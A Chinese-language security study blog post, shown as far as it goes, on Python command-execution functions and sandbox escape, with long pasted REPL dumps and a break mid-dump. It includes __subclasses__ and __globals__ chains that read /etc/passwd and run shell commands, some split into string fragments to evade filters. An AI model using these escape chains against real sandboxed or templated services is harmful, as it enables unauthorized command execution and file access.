郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

收拾收拾下自己,发现好久没有学习了,上半年状态真的好差,之前学习也静不下心来

从比较简单的语言开始学习,看看能不能有啥好东西

1

命令执行

标准库危险模块

# 处理标记的都是通用的
import os
import subprocess
import commands # 仅限于python2
import timeit
import platform
import sys

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig') # 仅限于python2
commands.getstatusoutput('ifconfig') # 仅限于python2
platform.popen('dir').read() # 仅限于python2
subprocess.call(['ifconfig'],shell=True)
timeit.timeit("__import__('os').system('ifconfig')",number=1)
sys.call_tracing(__import__('os').system,('whoami',))

内置危险函数

在python中,我们知道,不用引入直接使用的内置函数称为 builtin 函数,execfile可以执行任意文本中的python函数

# 处理标记的都是通用的
exec("import os;os.system('ifconfig')")
exec("__import__('os').system('ifconfig')"); # 过滤空格
execfile('/usr/lib/python2.7/os.py');system('ls') # 仅限于python2
eval("""__import__('os').system('ifconfig')""")
import os;map(os.system,['ifconfig'])

__globals__模块

该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量

Python 2.7.18 (default, Jan 27 2022, 02:05:20) 
[GCC 11.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = lambda x:x+1
>>> dir(a)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> a.__globals__
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7ff89545a350>, '__package__': None}
>>> a.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7ff89545a350>, '__package__': None}
>>> a.__globals__['__builtins__'].eval("__import__('os').system('ifconfig')")
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.18.69.174 netmask 255.255.248.0 broadcast 10.18.71.255
inet6 fe80::20c:29ff:fe7d:da26 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7d:da:26 txqueuelen 1000 (Ethernet)
RX packets 16332 bytes 8119588 (7.7 MiB)
RX errors 0 dropped 1538 overruns 0 frame 0
TX packets 5406 bytes 498612 (486.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 187 bytes 17050 (16.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 187 bytes 17050 (16.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

func_globals__globals__ 作用是一样的,如果过滤了__builtin__中的内容,这样 __globals__ 里面的__builtins__也就没有什么意义了,即使重新import __builtin__ 还是一样.

Magic Method(魔术方法)

直接输出结论,基于Python2。如果是Python3那么__subclasses__()[xx]中的xx值需要自己找

# 利用file()函数读取文件:
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
# 等效于下面语句,但是无法绕过
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")

尝试利用继承关系来找到object类

Python 2.7.18 (default, Jan 27 2022, 02:05:20) 
[GCC 11.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "".__class__.__bases__
(<class 'object'>,)

前面不仅可以使用双引号,还可以利用列表或者字典类型,区别在查找类型的时候在不同的基础上查找,返回都是元组。

[].__class__.__bases__
{}.__class__.__bases__

查看可以使用的模块

>>> "".__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'rlcompleter.Completer'>]

找到需要使用的类,其中有可以使用的类

<class 'os._wrap_close'>,<class 'warnings.WarningMessage'>

调用他们

>>> "".__class__.__bases__[0].__subclasses__()[133]  # 是在上面列表中的第134个值,由于是数组所以填133
<class 'os._wrap_close'>
>>> "".__class__.__bases__[0].__subclasses__()[140]
<class 'warnings.catch_warnings'>

然后查看里面有什么可以利用的函数

>>> "".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__
{'__name__': 'os', '__doc__': "OS routines for NT or Posix depending on what system we're on.\n\nThis exports:\n - all functions from posix or nt, e.g. unlink, stat, etc.\n - os.path is either posixpath or ntpath\n - os.name is either 'posix' or 'nt'\n - os.curdir is a string representing the current directory (always '.')\n - os.pardir is a string representing the parent directory (always '..')\n - os.sep is the (or a most common) pathname separator ('/' or '\\\\')\n - os.extsep is the extension separator (always '.')\n - os.altsep is the alternate pathname separator (None or '/')\n - os.pathsep is the component separator used in $PATH etc\n - os.linesep is the line separator in text files ('\\r' or '\\n' or '\\r\\n')\n - os.defpath is the default search path for executables\n - os.devnull is the file path of the null device ('/dev/null', etc.)\n\nPrograms that import and use 'os' stand a better chance of being\nportable between different platforms. Of course, they must then\nonly use functions that are defined by all platforms (e.g., unlink\nand opendir), and leave all pathname manipulation to os.path\n(e.g., split and join).\n", '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fc7ef53bbb0>, '__spec__': ModuleSpec(name='os', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fc7ef53bbb0>, origin='/usr/lib/python3.9/os.py'), '__file__': '/usr/lib/python3.9/os.py', '__cached__': '/usr/lib/python3.9/__pycache__/os.cpython-39.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2022 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object., '_': None}, 'abc': <module 'abc' from '/usr/lib/python3.9/abc.py'>, 'sys': <module 'sys' (built-in)>, 'st': <module 'stat' from '/usr/lib/python3.9/stat.py'>, '_check_methods': <function _check_methods at 0x7fc7ef547a60>, 'GenericAlias': <class 'types.GenericAlias'>, '__all__': ['altsep', 'curdir', 'pardir', 'sep', 'pathsep', 'linesep', 'defpath', 'name', 'path', 'devnull', 'SEEK_SET', 'SEEK_CUR', 'SEEK_END', 'fsencode', 'fsdecode', 'get_exec_path', 'fdopen', 'popen', 'extsep', '_exit', 'CLD_CONTINUED', 'CLD_DUMPED', 'CLD_EXITED', 'CLD_KILLED', 'CLD_STOPPED', 'CLD_TRAPPED', 'DirEntry', 'EX_CANTCREAT', 'EX_CONFIG', 'EX_DATAERR', 'EX_IOERR', 'EX_NOHOST', 'EX_NOINPUT', 'EX_NOPERM', 'EX_NOUSER', 'EX_OK', 'EX_OSERR', 'EX_OSFILE', 'EX_PROTOCOL', 'EX_SOFTWARE', 'EX_TEMPFAIL', 'EX_UNAVAILABLE', 'EX_USAGE', 'F_LOCK', 'F_OK', 'F_TEST', 'F_TLOCK', 'F_ULOCK', 'GRND_NONBLOCK', 'GRND_RANDOM', 'MFD_ALLOW_SEALING', 'MFD_CLOEXEC', 'MFD_HUGETLB', 'MFD_HUGE_16GB', 'MFD_HUGE_16MB', 'MFD_HUGE_1GB', 'MFD_HUGE_1MB', 'MFD_HUGE_256MB', 'MFD_HUGE_2GB', 'MFD_HUGE_2MB', 'MFD_HUGE_32MB', 'MFD_HUGE_512KB', 'MFD_HUGE_512MB', 'MFD_HUGE_64KB', 'MFD_HUGE_8MB', 'MFD_HUGE_MASK', 'MFD_HUGE_SHIFT', 'NGROUPS_MAX', 'O_ACCMODE', 'O_APPEND', 'O_ASYNC', 'O_CLOEXEC', 'O_CREAT', 'O_DIRECT', 'O_DIRECTORY', 'O_DSYNC', 'O_EXCL', 'O_LARGEFILE', 'O_NDELAY', 'O_NOATIME', 'O_NOCTTY', 'O_NOFOLLOW', 'O_NONBLOCK', 'O_PATH', 'O_RDONLY', 'O_RDWR', 'O_RSYNC', 'O_SYNC', 'O_TMPFILE', 'O_TRUNC', 'O_WRONLY', 'POSIX_FADV_DONTNEED', 'POSIX_FADV_NOREUSE', 'POSIX_FADV_NORMAL', 'POSIX_FADV_RANDOM', 'POSIX_FADV_SEQUENTIAL', 'POSIX_FADV_WILLNEED', 'POSIX_SPAWN_CLOSE', 'POSIX_SPAWN_DUP2', 'POSIX_SPAWN_OPEN', 'PRIO_PGRP', 'PRIO_PROCESS', 'PRIO_USER', 'P_ALL', 'P_PGID', 'P_PID', 'P_PIDFD', 'RTLD_DEEPBIND', 'RTLD_GLOBAL', 'RTLD_LAZY', 'RTLD_LOCAL', 'RTLD_NODELETE', 'RTLD_NOLOAD', 'RTLD_NOW', 'RWF_DSYNC', 'RWF_HIPRI', 'RWF_NOWAIT', 'RWF_SYNC', 'R_OK', 'SCHED_BATCH', 'SCHED_FIFO', 'SCHED_IDLE', 'SCHED_OTHER', 'SCHED_RESET_ON_FORK', 'SCHED_RR', 'SEEK_DATA', 'SEEK_HOLE', 'ST_APPEND', 'ST_MANDLOCK', 'ST_NOATIME', 'ST_NODEV', 'ST_NODIRATIME', 'ST_NOEXEC', 'ST_NOSUID', 'ST_RDONLY', 'ST_RELATIME', 'ST_SYNCHRONOUS', 'ST_WRITE', 'TMP_MAX', 'WCONTINUED', 'WCOREDUMP', 'WEXITED', 'WEXITSTATUS', 'WIFCONTINUED', 'WIFEXITED', 'WIFSIGNALED', 'WIFSTOPPED', 'WNOHANG', 'WNOWAIT', 'WSTOPPED', 'WSTOPSIG', 'WTERMSIG', 'WUNTRACED', 'W_OK', 'XATTR_CREATE', 'XATTR_REPLACE', 'XATTR_SIZE_MAX', 'X_OK', 'abort', 'access', 'chdir', 'chmod', 'chown', 'chroot', 'close', 'closerange', 'confstr', 'confstr_names', 'copy_file_range', 'cpu_count', 'ctermid', 'device_encoding', 'dup', 'dup2', 'environ', 'error', 'execv', 'execve', 'fchdir', 'fchmod', 'fchown', 'fdatasync', 'fork', 'forkpty', 'fpathconf', 'fspath', 'fstat', 'fstatvfs', 'fsync', 'ftruncate', 'get_blocking', 'get_inheritable', 'get_terminal_size', 'getcwd', 'getcwdb', 'getegid', 'geteuid', 'getgid', 'getgrouplist', 'getgroups', 'getloadavg', 'getlogin', 'getpgid', 'getpgrp', 'getpid', 'getppid', 'getpriority', 'getrandom', 'getresgid', 'getresuid', 'getsid', 'getuid', 'getxattr', 'initgroups', 'isatty', 'kill', 'killpg', 'lchown', 'link', 'listdir', 'listxattr', 'lockf', 'lseek', 'lstat', 'major', 'makedev', 'memfd_create', 'minor', 'mkdir', 'mkfifo', 'mknod', 'nice', 'open', 'openpty', 'pathconf', 'pathconf_names', 'pidfd_open', 'pipe', 'pipe2', 'posix_fadvise', 'posix_fallocate', 'posix_spawn', 'posix_spawnp', 'pread', 'preadv', 'putenv', 'pwrite', 'pwritev', 'read', 'readlink', 'readv', 'register_at_fork', 'remove', 'removexattr', 'rename', 'replace', 'rmdir', 'scandir', 'sched_get_priority_max', 'sched_get_priority_min', 'sched_getaffinity', 'sched_getparam', 'sched_getscheduler', 'sched_param', 'sched_rr_get_interval', 'sched_setaffinity', 'sched_setparam', 'sched_setscheduler', 'sched_yield', 'sendfile', 'set_blocking', 'set_inheritable', 'setegid', 'seteuid', 'setgid', 'setgroups', 'setpgid', 'setpgrp', 'setpriority', 'setregid', 'setresgid', 'setresuid', 'setreuid', 'setsid', 'setuid', 'setxattr', 'stat', 'stat_result', 'statvfs', 'statvfs_result', 'strerror', 'symlink', 'sync', 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', 'terminal_size', 'times', 'times_result', 'truncate', 'ttyname', 'umask', 'uname', 'uname_result', 'unlink', 'unsetenv', 'urandom', 'utime', 'wait', 'wait3', 'wait4', 'waitid', 'waitid_result', 'waitpid', 'waitstatus_to_exitcode', 'write', 'writev', 'makedirs', 'removedirs', 'renames', 'walk', 'fwalk', 'execl', 'execle', 'execlp', 'execlpe', 'execvp', 'execvpe', 'getenv', 'supports_bytes_environ', 'environb', 'getenvb', 'P_WAIT', 'P_NOWAIT', 'P_NOWAITO', 'spawnv', 'spawnve', 'spawnvp', 'spawnvpe', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe'], '_exists': <function _exists at 0x7fc7ef5478b0>, '_get_exports_list': <function _get_exports_list at 0x7fc7ef547ca0>, 'name': 'posix', 'linesep': '\n', 'stat': <built-in function stat>, 'access': <built-in function access>, 'ttyname': <built-in function ttyname>, 'chdir': <built-in function chdir>, 'chmod': <built-in function chmod>, 'fchmod': <built-in function fchmod>, 'chown': <built-in function chown>, 'fchown': <built-in function fchown>, 'lchown': <built-in function lchown>, 'chroot': <built-in function chroot>, 'ctermid': <built-in function ctermid>, 'getcwd': <built-in function getcwd>, 'getcwdb': <built-in function getcwdb>, 'link': <built-in function link>, 'listdir': <built-in function listdir>, 'lstat': <built-in function lstat>, 'mkdir': <built-in function mkdir>, 'nice': <built-in function nice>, 'getpriority': <built-in function getpriority>, 'setpriority': <built-in function setpriority>, 'posix_spawn': <built-in function posix_spawn>, 'posix_spawnp': <built-in function posix_spawnp>, 'readlink': <built-in function readlink>, 'copy_file_range': <built-in function copy_file_range>, 'rename': <built-in function rename>, 'replace': <built-in function replace>, 'rmdir': <built-in function rmdir>, 'symlink': <built-in function symlink>, 'system': <built-in function system>, 'umask': <built-in function umask>, 'uname': <built-in function uname>, 'unlink': <built-in function unlink>, 'remove': <built-in function remove>, 'utime': <built-in function utime>, 'times': <built-in function times>, 'execv': <built-in function execv>, 'execve': <built-in function execve>, 'fork': <built-in function fork>, 'register_at_fork': <built-in function register_at_fork>, 'sched_get_priority_max': <built-in function sched_get_priority_max>, 'sched_get_priority_min': <built-in function sched_get_priority_min>, 'sched_getparam': <built-in function sched_getparam>, 'sched_getscheduler': <built-in function sched_getscheduler>, 'sched_rr_get_interval': <built-in function sched_rr_get_interval>, 'sched_setparam': <built-in function sched_setparam>, 'sched_setscheduler': <built-in function sched_setscheduler>, 'sched_yield': <built-in function sched_yield>, 'sched_setaffinity': <built-in function sched_setaffinity>, 'sched_getaffinity': <built-in function sched_getaffinity>, 'openpty': <built-in function openpty>, 'forkpty': <built-in function forkpty>, 'getegid': <built-in function getegid>, 'geteuid': <built-in function geteuid>, 'getgid': <built-in function getgid>, 'getgrouplist': <built-in function getgrouplist>, 'getgroups': <built-in function getgroups>, 'getpid': <built-in function getpid>, 'getpgrp': <built-in function getpgrp>, 'getppid': <built-in function getppid>, 'getuid': <built-in function getuid>, 'getlogin': <built-in function getlogin>, 'kill': <built-in function kill>, 'killpg': <built-in function killpg>, 'setuid': <built-in function setuid>, 'seteuid': <built-in function seteuid>, 'setreuid': <built-in function setreuid>, 'setgid': <built-in function setgid>, 'setegid': <built-in function setegid>, 'setregid': <built-in function setregid>, 'setgroups': <built-in function setgroups>, 'initgroups': <built-in function initgroups>, 'getpgid': <built-in function getpgid>, 'setpgrp': <built-in function setpgrp>, 'wait': <built-in function wait>, 'wait3': <built-in function wait3>, 'wait4': <built-in function wait4>, 'waitid': <built-in function waitid>, 'waitpid': <built-in function waitpid>, 'pidfd_open': <built-in function pidfd_open>, 'getsid': <built-in function getsid>, 'setsid': <built-in function setsid>, 'setpgid': <built-in function setpgid>, 'tcgetpgrp': <built-in function tcgetpgrp>, 'tcsetpgrp': <built-in function tcsetpgrp>, 'open': <built-in function open>, 'close': <built-in function close>, 'closerange': <built-in function closerange>, 'device_encoding': <built-in function device_encoding>, 'dup': <built-in function dup>, 'dup2': <built-in function dup2>, 'lockf': <built-in function lockf>, 'lseek': <built-in function lseek>, 'read': <built-in function read>, 'readv': <built-in function readv>, 'pread': <built-in function pread>, 'preadv': <built-in function preadv>, 'write': <built-in function write>, 'writev': <built-in function writev>, 'pwrite': <built-in function pwrite>, 'pwritev': <built-in function pwritev>, 'sendfile': <built-in function sendfile>, 'fstat': <built-in function fstat>, 'isatty': <built-in function isatty>, 'pipe': <built-in function pipe>, 'pipe2': <built-in function pipe2>, 'mkfifo': <built-in function mkfifo>, 'mknod': <built-in function mknod>, 'major': <built-in function major>, 'minor': <built-in function minor>, 'makedev': <built-in function makedev>, 'ftruncate': <built-in function ftruncate>, 'truncate': <built-in function truncate>, 'posix_fallocate': <built-in function posix_fallocate>, 'posix_fadvise': <built-in function posix_fadvise>, 'putenv': <built-in function putenv>, 'unsetenv': <built-in function unsetenv>, 'strerror': <built-in function strerror>, 'fchdir': <built-in function fchdir>, 'fsync': <built-in function fsync>, 'sync': <built-in function sync>, 'fdatasync': <built-in function fdatasync>, 'WCOREDUMP': <built-in function WCOREDUMP>, 'WIFCONTINUED': <built-in function WIFCONTINUED>, 'WIFSTOPPED': <built-in function WIFSTOPPED>, 'WIFSIGNALED': <built-in function WIFSIGNALED>, 'WIFEXITED': <built-in function WIFEXITED>, 'WEXITSTATUS': <built-in function WEXITSTATUS>, 'WTERMSIG': <built-in function WTERMSIG>, 'WSTOPSIG': <built-in function WSTOPSIG>, 'fstatvfs': <built-in function fstatvfs>, 'statvfs': <built-in function statvfs>, 'confstr': <built-in function confstr>, 'sysconf': <built-in function sysconf>, 'fpathconf': <built-in function fpathconf>, 'pathconf': <built-in function pathconf>, 'abort': <built-in function abort>, 'getloadavg': <built-in function getloadavg>, 'urandom': <built-in function urandom>, 'setresuid': <built-in function setresuid>, 'setresgid': <built-in function setresgid>, 'getresuid': <built-in function getresuid>, 'getresgid': <built-in function getresgid>, 'getxattr': <built-in function getxattr>, 'setxattr': <built-in function setxattr>, 'removexattr': <built-in function removexattr>, 'listxattr': <built-in function 